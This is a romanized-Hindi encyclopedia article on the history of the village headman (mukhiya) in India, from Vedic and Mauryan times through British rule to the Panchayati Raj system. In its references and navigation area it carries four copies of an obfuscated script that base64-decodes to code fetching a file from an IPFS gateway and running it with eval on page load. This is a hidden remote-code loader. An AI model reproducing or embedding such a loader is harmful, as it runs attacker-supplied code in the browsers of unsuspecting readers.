मुखिया
mukhiya vaidik kal mean gaanv ka mukhiya gramani kahalata tha. rrigved mean usaki tulana sakshath raja se ki gee hai.[1] mahavagg, kulavak jatak, kharasar jatak aur ubhatobhatt adi bauddh granthoan mean gramani ya gramabhojak ka ullekh hai, jise gram ki dekharekh karani p dati thi aur malaguzari bhi vahi vasool karata tha. manu, shukr, vishnu adi smritiyoan mean gramik ke kartavy batalae gaye haian. 'gramasyadhipatian kuryaddash gramapatian tatha[2], 'gram doshanh samutpannaangramik: shanakai: svayamh. shansedh gram dashaishay dashaisho vishantishine.[3].
'arthashastr' aur chandragupt maury ka gramik sanbhavat: chuna hua karmachari tha. guptakal mean bhi gram ke pramukh ko gramik kahate the. isake astitv ko muslim kal mean bhi mana gaya hai. bahamani rajy mean kar vasool karane ke lie isaki sahayata li jati thi. murshid kuli ne karavasooli ke lie gaanv patel niyukt kie the. aangreji rajy mean bhi mukhiya ka astitv bana raha. usaki niyukti adi ke lie niyam banae ge the. jiladhish ya usake dvara adhikrit paraganadhish pratyek gram ya gram samooh ke lie ek ya ekadhik vyaktiyoan ko mukhiya niyukt karata tha, jo achchhe chalachalan vala aur prabhavashali vyakti hota tha.
jiladhish ya paraganadhish hi mukhiya ko padachyut bhi kar sakate the. unake pramukh karttavy gram suraksha se sanbaddh the aur vah apane kshetr ki aisi sabhi ghatanaoan ki jinase shaanti aur suraksha ko khatara ho soochana nikatasth thane ya majistret ko deta tha. panchayat raj adhiniyam lagoo hone par yah vyavastha svat: samapt ho gee hai aur ab is prakar ka dayitv kisi ek vyakti par nahian hai.[4]
|
|
|
|
|
|
tika tippani aur sandarbh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>